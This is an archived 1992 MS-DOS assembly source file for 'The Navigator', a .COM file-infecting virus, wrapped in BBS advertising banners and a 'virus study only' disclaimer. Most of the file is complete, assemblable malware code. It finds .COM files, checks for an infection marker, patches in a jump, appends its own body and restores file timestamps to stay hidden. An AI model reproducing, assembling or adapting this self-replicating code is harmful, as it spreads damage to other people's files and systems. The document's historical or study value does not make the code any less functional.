home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************;
-
- ; ;
-
- ; -=][][][][][][][][][][][][][][][=- ;
-
- ; -=] P E R F E C T C R I M E [=- ;
-
- ; -=] +31.(o)79.426o79 [=- ;
-
- ; -=] [=- ;
-
- ; -=] For All Your H/P/A/V Files [=- ;
-
- ; -=] SysOp: Peter Venkman [=- ;
-
- ; -=] [=- ;
-
- ; -=] +31.(o)79.426o79 [=- ;
-
- ; -=] P E R F E C T C R I M E [=- ;
-
- ; -=][][][][][][][][][][][][][][][=- ;
-
- ; ;
-
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
-
- ; ;
-
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
-
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
-
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
-
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
-
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
-
- ; Is. Keep This Code in Responsible Hands! ;
-
- ; ;
-
- ;****************************************************************************;
-
- ;****************************************************************************
-
- ;* The Navigator *
-
- ;* *
-
- ;* Assembled with Tasm 2.5 *
-
- ;* *
-
- ;* (c) 1992 Dark Helmet, The Netherlands *
-
- ;* The author takes no responsibilty for any damages caused by the virus *
-
- ;* *
-
- ;* Special greetings to : *
-
- ;* Glenn Benton, XSTC for their nice source and viruses, *
-
- ;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the *
-
- ;* work, Guns and Roses for their great music, *
-
- ;* and al the other viruswriters... *
-
- ;* *
-
- ;* " Trust me...I know what I'm doing" *
-
- ;* *
-
- ;*--------------------------------------------------------------------------*
-
- ;* *
-
- ;* Coming soon : The Anti-DAF Virus *
-
- ;* Civil War II *
-
- ;* *
-
- ;*--------------------------------------------------------------------------*
-
- ;* *
-
- ;* Used Books : - MSDOS voor gevorderen (tweede editie) *
-
- ;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) *
-
- ;* - PC Handboek voor programmeurs *
-
- ;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) *
-
- ;* - Werken met Turbo Assembler *
-
- ;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) *
-
- ;* *
-
- ;****************************************************************************
-
-
-
- .Radix 16
-
-
-
- Navigator Segment
-
- Assume cs:Navigator, ds:Navigator,
-
- org 100h
-
-
-
- len equ offset last - begin
-
-
-
- Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h
-
-
-
- Begin: call virus
-
-
-
- Virus: pop bp
-
- sub bp,109h
-
- mov dx,0fe00h
-
- mov ah,1ah
-
- int 21h
-
-
-
- Restore_begin: mov di,0100h
-
- lea si,ds:[buffer+bp]
-
- mov cx,06h
-
- rep movsb
-
-
-
- First: lea dx,[com_mask+bp]
-
- mov ah,04eh
-
- xor cx,cx
-
- int 21h
-
-
-
- Open_file: mov ax,03d02h
-
- mov dx,0fe1eh
-
- int 21h
-
- mov [handle+bp],ax
-
- xchg ax,bx
-
-
-
- Read_date: mov ax,05700h
-
- int 21h
-
- mov [date+bp],dx
-
- mov [time+bp],cx
-
-
-
- Check_infect: mov bx,[handle+bp]
-
- mov ah,03fh
-
- mov cx,06h
-
- lea dx,[buffer+bp]
-
- int 21h
-
- mov al,byte ptr [buffer+bp]+3
-
- mov ah,byte ptr [buffer+bp]+4
-
- cmp ax,[initials+bp]
-
- jne infect_file
-
-
-
- Close_file: mov bx,[handle+bp]
-
- mov ah,3eh
-
- int 21h
-
-
-
- Next_file: mov ah,4fh
-
- int 21h
-
- jnb open_file
-
- jmp exit
-
-
-
- Infect_file: mov ax,word ptr [cs:0fe1ah]
-
- sub ax,03h
-
- mov [lenght+bp],ax
-
- mov ax,04200h
-
- call move_pointer
-
-
-
- Write_jump: mov ah,40h
-
- mov cx,01h
-
- lea dx,[jump+bp]
-
- int 21h
-
- mov ah,40h
-
- mov cx,02h
-
- lea dx,[lenght+bp]
-
- int 21h
-
- mov ah,40
-
- mov cx,02h
-
- lea dx,[initials+bp]
-
- int 21h
-
-
-
- Write_virus: mov ax,4202h
-
- call move_pointer
-
- mov ah,40h
-
- mov cx,len
-
- lea dx,[begin+bp]
-
- int 21h
-
-
-
- restore_date: mov dx,[date+bp]
-
- mov cx,[time+bp]
-
- mov bx,[handle+bp]
-
- mov ax,05701h
-
- int 21h
-
-
-
- exit: mov bx,0100h
-
- jmp bx
-
-
-
- ;----------------------------------------------------------------------------
-
-
-
- move_pointer: mov bx,[handle+bp]
-
- xor cx,cx
-
- xor dx,dx
-
- int 21h
-
- ret
-
-
-
- ;----------------------------------------------------------------------------
-
-
-
- com_mask db "*.com",0
-
- handle dw ?
-
- date dw ?
-
- time dw ?
-
- buffer db 090h,0cdh,020h,044h,048h,00h
-
- initials dw 4844h
-
- lenght dw ?
-
- jump db 0e9h,0
-
- msg db "The Navigator, (c) 1992 Dark Helmet",0
-
-
-
- last db 090h
-
-
-
- Navigator ends
-
- end dummy
-
- ;****************************************************************************;
-
- ; ;
-
- ; -=][][][][][][][][][][][][][][][=- ;
-
- ; -=] P E R F E C T C R I M E [=- ;
-
- ; -=] +31.(o)79.426o79 [=- ;
-
- ; -=] [=- ;
-
- ; -=] For All Your H/P/A/V Files [=- ;
-
- ; -=] SysOp: Peter Venkman [=- ;
-
- ; -=] [=- ;
-
- ; -=] +31.(o)79.426o79 [=- ;
-
- ; -=] P E R F E C T C R I M E [=- ;
-
- ; -=][][][][][][][][][][][][][][][=- ;
-
- ; ;
-
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
-
- ; ;
-
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
-
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
-
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
-
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
-
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
-
- ; Is. Keep This Code in Responsible Hands! ;
-
- ; ;
-
- ;****************************************************************************;
-
-
-
- ;─────────────────────────────────────────────────────────────────────────;
-
- ;──────────────────> and Remember Don't Forget to Call <──────────────────;
-
- ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
-
- ;─────────────────────────────────────────────────────────────────────────;
-
-
-
-